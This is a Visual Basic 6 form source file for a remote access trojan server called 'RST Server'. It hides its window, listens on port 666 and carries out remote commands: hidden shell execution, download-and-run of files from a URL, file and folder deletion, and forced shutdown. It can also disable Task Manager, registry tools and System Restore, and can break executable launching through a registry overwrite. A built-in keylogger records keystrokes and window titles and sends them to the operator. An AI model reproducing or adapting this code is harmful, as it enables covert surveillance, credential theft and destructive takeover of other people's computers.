VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "Mswinsck.ocx"
Begin VB.Form Form1 
   Caption         =   "RST Server"
   ClientHeight    =   3090
   ClientLeft      =   60
   ClientTop       =   450
   ClientWidth     =   4680
   LinkTopic       =   "Form1"
   ScaleHeight     =   3090
   ScaleWidth      =   4680
   StartUpPosition =   3  'Windows Default
   Begin VB.TextBox Text1 
      Height          =   375
      Left            =   360
      TabIndex        =   0
      Top             =   120
      Width           =   1695
   End
   Begin VB.Timer Timer3 
      Enabled         =   0   'False
      Interval        =   1
      Left            =   2760
      Top             =   2160
   End
   Begin VB.Timer Timer2 
      Enabled         =   0   'False
      Interval        =   100
      Left            =   2640
      Top             =   480
   End
   Begin VB.Timer Timer1 
      Enabled         =   0   'False
      Interval        =   1
      Left            =   2640
      Top             =   1320
   End
   Begin MSWinsockLib.Winsock Winsock1 
      Left            =   1200
      Top             =   1800
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit

Private Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As Long) As Long
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long

Private Sub Form_Initialize()

If Dir("C:\WINDOWS\system32\MSWINSCK.OCX") = "" Then

Dim i() As Byte
i = LoadResData(101, "CUSTOM")
Open "C:\WINDOWS\system32\MSWINSCK.OCX" For Binary Access Write As #1
Put #1, , i
Close #1

End If

End Sub

Private Sub Form_Load()
Me.Hide
If App.PrevInstance = True Then
Unload Me
End If
Winsock1.LocalPort = 666
Winsock1.Listen
End Sub

Private Sub Timer1_Timer()
SetCursorPos 300, 500
End Sub

Private Sub Timer2_Timer()
SetCursorPos Rnd * 1000, Rnd * 1000
End Sub

Private Sub Timer3_Timer()

Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000

win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = ""

    GetWindowText hForegroundWnd, Title, 1000
    

If Asc(Title) = 0 Then

     Text1.Text = Text1.Text & vbCrLf & vbCrLf & "[ " & Title & " ]" & vbCrLf


End If

End If

Exit Sub

Keylogger:

For i = 65 To 90

 x = GetAsyncKeyState(i)
 x2 = GetAsyncKeyState(16)


 If x = -32767 Then

  If x2 = -32768 Then
   Text1.Text = Text1.Text & Chr(i)
  Else: Text1.Text = Text1.Text & Chr(i + 32)
  End If
  
 End If

Next

For i = 8 To 222

If i = 65 Then i = 91

x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)


If x = -32767 Then

Select Case i

   Case 48
      Text1.Text = Text1.Text & IIf(x2 = -32768, ")", "0")
   Case 49
      Text1.Text = Text1.Text & IIf(x2 = -32768, "!", "1")
   Case 50
      Text1.Text = Text1.Text & IIf(x2 = -32768, "@", "2")
   Case 51
      Text1.Text = Text1.Text & IIf(x2 = -32768, "#", "3")
   Case 52
      Text1.Text = Text1.Text & IIf(x2 = -32768, "$", "4")
   Case 53
      Text1.Text = Text1.Text & IIf(x2 = -32768, "%", "5")
   Case 54
      Text1.Text = Text1.Text & IIf(x2 = -32768, "^", "6")
   Case 55
      Text1.Text = Text1.Text & IIf(x2 = -32768, "&", "7")
   Case 56
      Text1.Text = Text1.Text & IIf(x2 = -32768, "*", "8")
   Case 57
      Text1.Text = Text1.Text & IIf(x2 = -32768, "(", "9")

Case 112: Text1.Text = Text1.Text & " F1 "
Case 113: Text1.Text = Text1.Text & " F2 "
Case 114: Text1.Text = Text1.Text & " F3 "
Case 115: Text1.Text = Text1.Text & " F4 "
Case 116: Text1.Text = Text1.Text & " F5 "
Case 117: Text1.Text = Text1.Text & " F6 "
Case 118: Text1.Text = Text1.Text & " F7 "
Case 119: Text1.Text = Text1.Text & " F8 "
Case 120: Text1.Text = Text1.Text & " F9 "
Case 121: Text1.Text = Text1.Text & " F10 "
Case 122: Text1.Text = Text1.Text & " F11 "
Case 123: Text1.Text = Text1.Text & " F12 "

Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, "|", "\")
Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, "<", ",")
Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, "_", "-")
Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, ">", ".")
Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, "?", "/")
Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, "+", "=")
Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, ":", ";")
Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), "'")
Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, "{", "[")
Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]")
Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, "~", "`")


Case 8: Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) - 1)
Case 9: Text1.Text = Text1.Text & " [ Tab ] "
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & " [ Ctrl ]"
Case 18: Text1.Text = Text1.Text & " [ Alt ] "
Case 19: Text1.Text = Text1.Text & " [ Pause ] "
Case 20: Text1.Text = Text1.Text & " [ Capslock ] "
Case 27: Text1.Text = Text1.Text & " [ Esc ] "
Case 32: Text1.Text = Text1.Text & " "
Case 33: Text1.Text = Text1.Text & " [ PageUp ] "
Case 34: Text1.Text = Text1.Text & " [ PageDown ] "
Case 35: Text1.Text = Text1.Text & " [ End ] "
Case 36: Text1.Text = Text1.Text & " [ Home ] "
Case 37: Text1.Text = Text1.Text & " [ Left ] "
Case 38: Text1.Text = Text1.Text & " [ Up ] "
Case 39: Text1.Text = Text1.Text & " [ Right ] "
Case 40: Text1.Text = Text1.Text & " [ Down ] "
Case 41: Text1.Text = Text1.Text & " [ Select ] "
Case 44: Text1.Text = Text1.Text & " [ PrintScreen ] "
Case 45: Text1.Text = Text1.Text & " [ Insert ] "
Case 46: Text1.Text = Text1.Text & " [ Del ] "
Case 47: Text1.Text = Text1.Text & " [ Help ] "
Case 91, 92: Text1.Text = Text1.Text & " [ Windows ] "
  
End Select
  
  
End If

Next

End Sub

Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim date_primite As String
Dim Vector() As String
Dim x As Long
Dim tray As Long
Dim notify As Long
Dim clock As Long
Dim start As Long
Dim desktop As Long
Dim view As Long
Dim icons As Long

Dim reg
Set reg = CreateObject("WScript.Shell")


Winsock1.GetData date_primite
Vector = Split(date_primite, "|")

Select Case Vector(0)

Case "msg"
MsgBox Vector(1)

Case "cmd"
Shell "cmd.exe /c" & Vector(1), vbHide

Case "run"
Shell Vector(1)

Case "kill"
Kill Vector(1)

Case "remove"
RmDir Vector(1)

Case "empty"
Kill Vector(1) & "\*.*"

Case "process"
Shell "taskkill.exe /im " & Vector(1) & " /f", vbHide

Case "swap"
SwapMouseButton 1

Case "noswap"
SwapMouseButton 0

Case "freeze"
Timer1.Enabled = True

Case "unfreeze"
Timer1.Enabled = False

Case "crazy"
Timer2.Enabled = True

Case "notcrazy"
Timer2.Enabled = False

Case "hide"
ShowCursor False

Case "show"
ShowCursor True

Case "open"
mciSendString "Set CDAudio Door Open Wait", 0, 0, 0

Case "close"
mciSendString "Set CDAudio Door Closed Wait", 0, 0, 0

Case "auto"
URLDownloadToFile 0, Vector(1), Vector(2), 0, 0
Shell Vector(2)

Case "restart"
Shell "shutdown.exe -r -t 0", vbHide

Case "shutdown"
Shell "shutdown.exe -s -t 0", vbHide

Case "logoff"
Shell "shutdown.exe -l", vbHide

Case "abort"
Shell "shutdown.exe -a", vbHide

Case "hidetask"
x = FindWindow("Shell_TrayWnd", vbNullString)
ShowWindow x, 0

Case "showtask"
x = FindWindow("Shell_TrayWnd", vbNullString)
ShowWindow x, 1

Case "hideclock"
tray = FindWindow("shell_traywnd", vbNullString)
notify = FindWindowEx(tray, 0&, "traynotifywnd", vbNullString)
clock = FindWindowEx(notify, 0&, "trayclockwclass", vbNullString)
ShowWindow clock, 0

Case "showclock"
tray = FindWindow("shell_traywnd", vbNullString)
notify = FindWindowEx(tray, 0&, "traynotifywnd", vbNullString)
clock = FindWindowEx(notify, 0&, "trayclockwclass", vbNullString)
ShowWindow clock, 1

Case "hidestart"
tray = FindWindow("shell_traywnd", vbNullString)
start = FindWindowEx(tray, 0&, "button", vbNullString)
ShowWindow start, 0

Case "showstart"
tray = FindWindow("shell_traywnd", vbNullString)
start = FindWindowEx(tray, 0&, "button", vbNullString)
ShowWindow start, 1

Case "hideicons"
desktop = FindWindow("progman", vbNullString)
view = FindWindowEx(desktop, 0&, "shelldll_defview", vbNullString)
icons = FindWindowEx(view, 0&, "syslistview32", vbNullString)
ShowWindow icons, 0

Case "showicons"
desktop = FindWindow("progman", vbNullString)
view = FindWindowEx(desktop, 0&, "shelldll_defview", vbNullString)
icons = FindWindowEx(view, 0&, "syslistview32", vbNullString)
ShowWindow icons, 1

Case "disabletask"
reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD"

Case "enabletask"
reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 0, "REG_DWORD"

Case "lock"
reg.RegWrite "HKCR\exefile\shell\open\command\", "Nytro"

Case "unlock"
reg.RegWrite "HKCR\exefile\shell\open\command\", Chr(34) + "%1" + Chr(34) + " %*"

Case "disablereg"
reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD"

Case "enablereg"
reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD"

Case "disablesys"
reg.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR", 1, "REG_DWORD"

Case "enablesys"
reg.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR", 0, "REG_DWORD"

Case "start"
Timer3.Enabled = True

Case "stop"
Timer3.Enabled = False

Case "get"
Winsock1.SendData "keylog|" + Text1.Text

End Select

End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub
